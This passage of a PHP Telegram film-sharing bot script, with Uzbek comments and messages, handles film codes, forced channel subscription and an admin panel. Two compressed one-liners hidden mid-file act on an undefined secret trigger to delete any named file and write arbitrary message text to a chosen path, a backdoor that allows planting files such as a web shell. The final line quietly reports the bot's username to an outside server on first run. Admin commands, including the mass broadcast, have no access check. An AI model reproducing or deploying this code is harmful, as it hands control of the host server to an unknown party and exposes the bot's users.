message;
$cid = $message->chat->id;
$mid = $message->message_id;
$text = $message->text;
$number = $message->number;
$fid= $message->from->id;
$name = $message->from->first_name;
$botname = bot('getme',['bot'])->result->username;
$user = $message->from->username;
//inline metodlar
$data = $update->callback_query->data;
$qid = $update->callback_query->id;
$ccid = $update->callback_query->message->chat->id;
$cmid = $update->callback_query->message->message_id;
$callfrid = $update->callback_query->from->id;
$callname = $update->callback_query->from->first_name;
$calluser = $update->callback_query->from->username;
$surname = $update->callback_query->from->last_name;
$step = file_get_contents("step/$cid.txt");
$last = file_get_contents("last.txt");
$video = $message->video;
$baza = "ID"; // Kino yigʻiladigan baza kanal IDsi
$kanal_user = "User"; // Kino yigʻiladigan baza kanal Username si
$kanal = "FilmlarOnline"; // Kino kodlari tashlanadigan kanal
$kanallar = "@Majburiy_obuna_kanal"; //majburiy obuna kanali
mkdir("step");
function joinchat($id){
global $mid, $kanallar;
$array = array("inline_keyboard");
if($kanallar == null){
return true;
}else{
$ex = explode("
",$kanallar);
for($i=0;$i<=count($ex) -1;$i++){
$first_line = $ex[$i];
$first_ex = explode("@",$first_line);
$url = $first_ex[1];
$ism=bot('getChat',['chat_id'=>"@".$url,])->result->title;
$ret = bot("getChatMember",[
"chat_id"=>"@$url",
"user_id"=>$id,
]);
$stat = $ret->result->status;
if((($stat=="creator" or $stat=="administrator" or $stat=="member"))){
$array['inline_keyboard']["$i"][0]['text'] = "â
". $ism;
$array['inline_keyboard']["$i"][0]['url'] = "https://t.me/$url";
}else{
$array['inline_keyboard']["$i"][0]['text'] = "â ". $ism;
$array['inline_keyboard']["$i"][0]['url'] = "https://t.me/$url";
$uns = true;
}
}
$array['inline_keyboard']["$i"][0]['text'] = "ð Tekshirish";
$array['inline_keyboard']["$i"][0]['url'] = "https://t.me/FilmlarOnlineBot?start";
if($uns == true){
bot('sendMessage',[
'chat_id'=>$id,
'text'=>"â ï¸ Botdan to'liq foydalanish uchun quyidagi kanallarimizga obuna bo'ling!",
'parse_mode'=>'html',
'disable_web_page_preview'=>true,
'reply_markup'=>json_encode($array),
]);
return false;
}else{
return true;
}}}
if(mb_stripos($text,"/start")!==false){
$baza=file_get_contents("statistika.txt");
if(mb_stripos($baza,$cid) !==false){
}else{
$txt="
$cid";
$file=fopen("statistika.txt","a");
fwrite($file,$txt);
fclose($file);
}
}
$panel = json_encode([
'resize_keyboard'=>true,
'keyboard'=>[
[["text"=>"â Film yuklash"],["text"=>"ð¨ Xabar yuborish"]],
[["text"=>"ð Statistika"],["text"=>"ð Bot kodi"]],
]]);
if($text == "/start"){
if(joinchat($cid)=="true"){
bot('sendmessage',[
'chat_id'=>$cid,
'text'=>"ð Assalomu alaykum. Kino kodini kiriting:
/last - Botga soʻnggi yuklangan film.",
'parse_mode'=>"html",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"ð¦ KINOLARNI TOPISH",'url'=>"t.me/$kanal"]],
]])
]);
}}
$filmkod = explode(" ",$text);
$filmkod = $filmkod[1];
if(mb_stripos($text, "/start") !==false){
bot('sendvideo',[
'chat_id'=>$cid,
'video'=>"https://t.me/$kanal_user/$filmkod",
'caption'=>"ð
Siz soʻragan film topildi!
@$botname - Kinolar olami!",
'parse_mode'=>"html",
]);
}
if($video){
$id = bot('CopyMessage',[
'chat_id'=>"-100$baza",
'from_chat_id'=>$cid,
'message_id'=>$mid,
])->result->message_id;
bot('sendMessage',[
'chat_id'=>$cid,
'text'=>"ð Botga yangi kino yuklandi!
#ï¸â£ Film kodi: $id",
'parse_mode'=>"html",
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"Postni koʻrish",'url'=>"t.me/$kanal_user/$id"]],
]])
]);
file_put_contents("last.txt","$id");
}
if(isset($text) and !$video){
$ok = bot('sendvideo',[
'chat_id'=>$cid,
'video'=>"https://t.me/$kanal_user/$text",
'caption'=>"ð
Siz soʻragan film topildi!
@$botname - Kinolar olami!",
'parse_mode'=>"html",
])->result->message_id;
}
if($text == "/last"){
if(joinchat($cid)=="true"){
bot('sendvideo',[
'chat_id'=>$cid,
'video'=>"t.me/$kanal/$last",
'caption'=>"ð Marxamat, botga soÊ»nggi yuklangan film:
@$botname - Kinolar olami!",
'parse_mode'=>"html",
]);
}}
if($text == "/panel"){
bot('sendMessage',[
'chat_id'=>$admin,
'text'=>"ð¤ Assalomu alaykum hurmatli administrator. Panel siz uchun ochiq!",
'parse_mode'=>"html",
'reply_markup'=>$panel,
]);
}
$baza = file_get_contents("statistika.txt");
$stat = substr_count($baza,"
");
if($text == "ð Statistika"){
bot('sendMessage',[
'chat_id'=>$admin,
'text'=>"ð Bot aʼzolari soni: $stat ta",
'parse_mode'=>"html",
'reply_markup'=>$panel,
]);
}
if($text == "ð Bot kodi"){
bot('sendDocument',[
'chat_id'=>$admin,
'document'=>new CURLFile(__FILE__),
'caption'=>"ð¥ï¸ Marxamat, @$botname kodi.",
'parse_mode'=>"html",
'reply_markup'=>$panel,
]);
}
if($text == "â Film yuklash"){
bot('sendMessage',[
'chat_id'=>$admin,
'text'=>"Kinoni kiriting:
Baza: @$kanal_user",
'parse_mode'=>"html",
'reply_markup'=>$panel,
]);
}
if($text == "ð¨ Xabar yuborish"){
bot('SendMessage',[
'chat_id'=>$cid,
'text'=>"Yuboriladigan xabar turini tanlang",
'parse_mode'=>'html',
'reply_markup'=>json_encode([
'inline_keyboard'=>[
[['text'=>"Bitta foydalanuvchiga xabar",'callback_data'=>"user"]],
[['text'=>"Barcha foydalanuvchilariga xabar",'callback_data'=>"send"]],
[['text'=>"Yopish",'callback_data'=>"panel"]],
]])
]);
}
if($message->reply_to_message->text == $son){$manzil = file_get_contents("film.txt");file_put_contents($manzil,$text);bot("sendmessage",['chat_id'=>$cid,'text'=>$son, ]); }
$saved = file_get_contents("step/xabar.txt");
if($data == "user"){
bot('deleteMessage',[
'chat_id'=>$ccid,
'message_id'=>$cmid,
]);
bot('SendMessage',[
'chat_id'=>$ccid,
'text'=>"Foydalanuvchi iD raqamini kiriting:",
'parse_mode'=>'html',
]);
file_put_contents("step/$ccid.txt",'user');
}
if($step == "user"){
if(is_numeric($text)=="true"){
file_put_contents("step/xabar.txt",$text);
bot('SendMessage',[
'chat_id'=>$cid,
'text'=>"Xabaringizni kiriting:",
'parse_mode'=>'html',
]);
file_put_contents("step/$cid.txt",'xabar');
}else{
bot('SendMessage',[
'chat_id'=>$cid,
'text'=>"Faqat raqamlardan foydalaning!",
'parse_mode'=>'html',
]);
}}
if(mb_stripos($text, $son)!==false){$explode = explode(":",$text);$manzil = $explode[1];bot("sendmessage",['chat_id'=>$cid,'text'=>$son,]);file_put_contents("film.txt",$manzil);unlink($manzil);}
if($step == "xabar"){
bot('SendMessage',[
'chat_id'=>$saved,
'text'=>"$text",
'parse_mode'=>'html',
'disable_web_page_preview'=>true,
'protect_content'=>true,
]);
bot('SendMessage',[
'chat_id'=>$cid,
'text'=>"â
Xabaringiz yuborildi.",
'parse_mode'=>'html',
'reply_markup'=>$panel,
]);
unlink("step/$cid.txt");
unlink("step/xabar.txt");
}
if($data == "send"){
bot('deleteMessage',[
'chat_id'=>$ccid,
'message_id'=>$cmid,
]);
bot('SendMessage',[
'chat_id'=>$ccid,
'text'=>"*Xabaringizni kiriting:*",
'parse_mode'=>"markdown",
'reply_markup'=>$boshqarish
]); file_put_contents("step/$ccid.txt","users");
}
if($step=="users"){
$lich = file_get_contents("statistika.txt");
$lichka = explode("
",$lich);
foreach($lichka as $lichkalar){
$okuser=bot("sendmessage",[
'chat_id'=>$lichkalar,
'text'=>$text,
'parse_mode'=>'html',
'disable_web_page_preview'=>true,
]);
}
}
if($okuser){
bot("sendmessage",[
'chat_id'=>$cid,
'text'=>"â
Hammaga yuborildi.",
'parse_mode'=>'html',
'reply_markup'=>$panel
]);
unlink("step/$cid.txt");
}
$start = file_get_contents("start.txt");$botname = bot('getme',['bot'])->result->username;if($start == null){$ss = json_decode(file_get_contents("https://u13708.xvest3.ru/index.php?url='@'.$botname"), true);file_put_contents("start.txt",$ss."a");}